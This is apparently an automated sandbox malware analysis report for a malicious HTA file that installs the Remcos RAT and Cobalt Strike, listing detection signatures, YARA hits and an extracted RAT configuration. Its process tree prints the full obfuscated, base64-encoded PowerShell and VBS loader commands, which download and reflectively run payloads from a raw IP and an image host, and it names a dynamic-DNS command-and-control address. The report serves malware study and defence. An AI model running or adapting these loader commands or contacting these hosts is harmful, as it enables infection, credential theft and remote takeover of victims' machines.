Edit tour
Windows
Analysis Report
greatattitudewithnicefeatruewithgreatnicecreamypurplethingsgood.hta
Overview
General Information
Detection
Cobalt Strike, Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Contains functionality to bypass UAC (CMSTPLUA)
Detected Cobalt Strike Beacon
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Yara detected obfuscated html page
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Injects a PE file into a foreign processes
Installs a global keyboard hook
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
- mshta.exe (PID: 7280 cmdline:
mshta.exe "C:\Users\ user\Deskt op\greatat titudewith nicefeatru ewithgreat nicecreamy purplethin gsgood.hta " MD5: 06B02D5C097C7DB1F109749C45F3F505) - cmd.exe (PID: 7384 cmdline:
"C:\Window s\system32 \cmd.exe" "/C POwErs HELL -EX ByPass -NoP -w 1 -c DeviCECRE DenTIalDeP lOyMENT.eX E ; INvO ke-ExPress iON($(INvO KE-expReSs Ion('[SYST eM.teXt.En codInG]'+[ ChaR]58+[C haR]0X3a+' UTF8.GEtSt RInG([SYst Em.cONVErT ]'+[cHaR]0 x3a+[chaR] 58+'fROMBA se64StrINg ('+[chAr]3 4+'JHhEICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gID0gICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgY WRELXRZcGU gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLW1lT UJFcmRFZkl uaXRpb24gI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgJ1tEbGx JbXBvcnQoI nVybG1vbi5 kbGwiLCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBDaGFyU2V 0ID0gQ2hhc lNldC5Vbml jb2RlKV1wd WJsaWMgc3R hdGljIGV4d GVybiBJbnR QdHIgVVJMR G93bmxvYWR Ub0ZpbGUoS W50UHRyICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIERRSixzd HJpbmcgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gUURsTWx0W mRDSixzdHJ pbmcgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgR G1oSUdKc01 4ZkMsdWlud CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBsLEl udFB0ciAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBDdmtnaEo pOycgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL U5BTWUgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIlNyZ3BDa mUiICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIC1 OYU1Fc1BBQ 0UgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgZUc gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLVBhc 3NUaHJ1OyA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAkeEQ6O lVSTERvd25 sb2FkVG9Ga WxlKDAsImh 0dHA6Ly8yM y45NS4yMzU uMjkvOTAvd mVyeW5pY2V iZWF1dGlmd WxwaWN0dWV mb3JlbnRpc mVsaWZla2l kc2dpdmVub WViYWNrd2l 0aG5ldy50S UYiLCIkRW5 2OkFQUERBV EFcdmVyeW5 pY2ViZWF1d GlmdWxwaWN 0dWVmb3Jlb nRpcmVsaWZ la2lkc2dpd mVubWUudmJ TIiwwLDApO 3N0YVJ0LXN MRWVwKDMpO 0lOdk9rRS1 FeFByZVNTa W9uICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICI kRW5WOkFQU ERBVEFcdmV yeW5pY2ViZ WF1dGlmdWx waWN0dWVmb 3JlbnRpcmV saWZla2lkc 2dpdmVubWU udmJTIg==' +[CHaR]34+ '))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7392 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7436 cmdline:
POwErsHELL -E X By Pass -NoP -w 1 - c De viCECREDen TIalDePlOy MENT.eXE ; INvOke- ExPressiON ($(INvOKE- expReSsIon ('[SYSTeM. teXt.Encod InG]'+[Cha R]58+[ChaR ]0X3a+'UTF 8.GEtStRIn G([SYstEm. cONVErT]'+ [cHaR]0x3a +[chaR]58+ 'fROMBAse6 4StrINg('+ [chAr]34+' JHhEICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgID 0gICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgYWRE LXRZcGUgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLW1lTUJF cmRFZkluaX Rpb24gICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg J1tEbGxJbX BvcnQoInVy bG1vbi5kbG wiLCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBD aGFyU2V0ID 0gQ2hhclNl dC5Vbmljb2 RlKV1wdWJs aWMgc3RhdG ljIGV4dGVy biBJbnRQdH IgVVJMRG93 bmxvYWRUb0 ZpbGUoSW50 UHRyICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIE RRSixzdHJp bmcgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgUU RsTWx0WmRD SixzdHJpbm cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgRG1o SUdKc014Zk MsdWludCAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBsLEludF B0ciAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBD dmtnaEopOy cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLU5B TWUgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIl NyZ3BDamUi ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1OYU 1Fc1BBQ0Ug ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgZUcgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLVBhc3NU aHJ1OyAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AkeEQ6OlVS TERvd25sb2 FkVG9GaWxl KDAsImh0dH A6Ly8yMy45 NS4yMzUuMj kvOTAvdmVy eW5pY2ViZW F1dGlmdWxw aWN0dWVmb3 JlbnRpcmVs aWZla2lkc2 dpdmVubWVi YWNrd2l0aG 5ldy50SUYi LCIkRW52Ok FQUERBVEFc dmVyeW5pY2 ViZWF1dGlm dWxwaWN0dW Vmb3JlbnRp cmVsaWZla2 lkc2dpdmVu bWUudmJTIi wwLDApO3N0 YVJ0LXNMRW VwKDMpO0lO dk9rRS1FeF ByZVNTaW9u ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICIkRW 5WOkFQUERB VEFcdmVyeW 5pY2ViZWF1 dGlmdWxwaW N0dWVmb3Jl bnRpcmVsaW Zla2lkc2dp dmVubWUudm JTIg=='+[C HaR]34+')) ')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - csc.exe (PID: 7572 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\1wf2prhw \1wf2prhw. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 7592 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE SE1B0.tmp" "c:\Users \user\AppD ata\Local\ Temp\1wf2p rhw\CSCC38 D340387134 34CB5EBD43 7745683DE. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - wscript.exe (PID: 7644 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\veryn icebeautif ulpictuefo rentirelif ekidsgiven me.vbS" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 7696 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $verilus = 'JGFwb3N0 b2xpY25lc3 MgPSAnaHR0 cHM6Ly9yZX MuY2xvdWRp bmFyeS5jb2 0vZHl0Zmx0 NjFuL2ltYW dlL3VwbG9h ZC92MTczMz EzNDk0Ny9i a2xweXNleW V1dDRpbXB3 NTBuMS5qcG cgJzskdmli cm9tZXRlcn MgPSBOZXct T2JqZWN0IF N5c3RlbS5O ZXQuV2ViQ2 xpZW50OyRz YW5nYXBlbn VtID0gJHZp YnJvbWV0ZX JzLkRvd25s b2FkRGF0YS gkYXBvc3Rv bGljbmVzcy k7JGhvcmlz bWFzY29wZS A9IFtTeXN0 ZW0uVGV4dC 5FbmNvZGlu Z106OlVURj guR2V0U3Ry aW5nKCRzYW 5nYXBlbnVt KTskSmFuaW 5lID0gJzw8 QkFTRTY0X1 NUQVJUPj4n OyR0cmlicm 9tc2Fsb2wg PSAnPDxCQV NFNjRfRU5E Pj4nOyRBcm FicyA9ICRo b3Jpc21hc2 NvcGUuSW5k ZXhPZigkSm FuaW5lKTsk cGx1cmlzcG lyYWwgPSAk aG9yaXNtYX Njb3BlLklu ZGV4T2YoJH RyaWJyb21z YWxvbCk7JE FyYWJzIC1n ZSAwIC1hbm QgJHBsdXJp c3BpcmFsIC 1ndCAkQXJh YnM7JEFyYW JzICs9ICRK YW5pbmUuTG VuZ3RoOyRk ZWNlcm5tZW 50ID0gJHBs dXJpc3Bpcm FsIC0gJEFy YWJzOyRhZm lyZSA9ICRo b3Jpc21hc2 NvcGUuU3Vi c3RyaW5nKC RBcmFicywg JGRlY2Vybm 1lbnQpOyR1 bmRyZXNzZW QgPSAtam9p biAoJGFmaX JlLlRvQ2hh ckFycmF5KC kgfCBGb3JF YWNoLU9iam VjdCB7ICRf IH0pWy0xLi 4tKCRhZmly ZS5MZW5ndG gpXTskR2Fz dG9uID0gW1 N5c3RlbS5D b252ZXJ0XT o6RnJvbUJh c2U2NFN0cm luZygkdW5k cmVzc2VkKT skY3V0aXRl cmVicmEgPS BbU3lzdGVt LlJlZmxlY3 Rpb24uQXNz ZW1ibHldOj pMb2FkKCRH YXN0b24pOy RhbGxhbnRv aWRlYSA9IF tkbmxpYi5J Ty5Ib21lXS 5HZXRNZXRo b2QoJ1ZBSS cpOyRhbGxh bnRvaWRlYS 5JbnZva2Uo JG51bGwsIE AoJzAvdnlp ZEIvci9lZS 5ldHNhcC8v OnNwdHRoJy wgJyRiaW9n cmFwaGVlcy csICckYmlv Z3JhcGhlZX MnLCAnJGJp b2dyYXBoZW VzJywgJ0Nh c1BvbCcsIC ckYmlvZ3Jh cGhlZXMnLC AnJGJpb2dy YXBoZWVzJy wnJGJpb2dy YXBoZWVzJy wnJGJpb2dy YXBoZWVzJy wnJGJpb2dy YXBoZWVzJy wnJGJpb2dy YXBoZWVzJy wnJGJpb2dy YXBoZWVzJy wnMScsJyRi aW9ncmFwaG VlcycpKTs= ';$spinisp icule = [S ystem.Text .Encoding] ::UTF8.Get String([Sy stem.Conve rt]::FromB ase64Strin g($verilus ));Invoke- Expression $spinispi cule MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7704 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - CasPol.exe (PID: 8136 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Cas Pol.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - CasPol.exe (PID: 2916 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\aa cvjnbswp" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - CasPol.exe (PID: 4192 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\lc iocgmukyzv v" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - CasPol.exe (PID: 2504 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\lc iocgmukyzv v" MD5: 914F728C04D3EDDD5FBA59420E74E56B) - CasPol.exe (PID: 6372 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\nw vgdqxnygri ykln" MD5: 914F728C04D3EDDD5FBA59420E74E56B)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": ["submarrine.duckdns.org:6946:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-GH3PRL", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
Click to see the 21 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 7 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
---|
Source: | Author: Florian Roth (Nextron Systems): |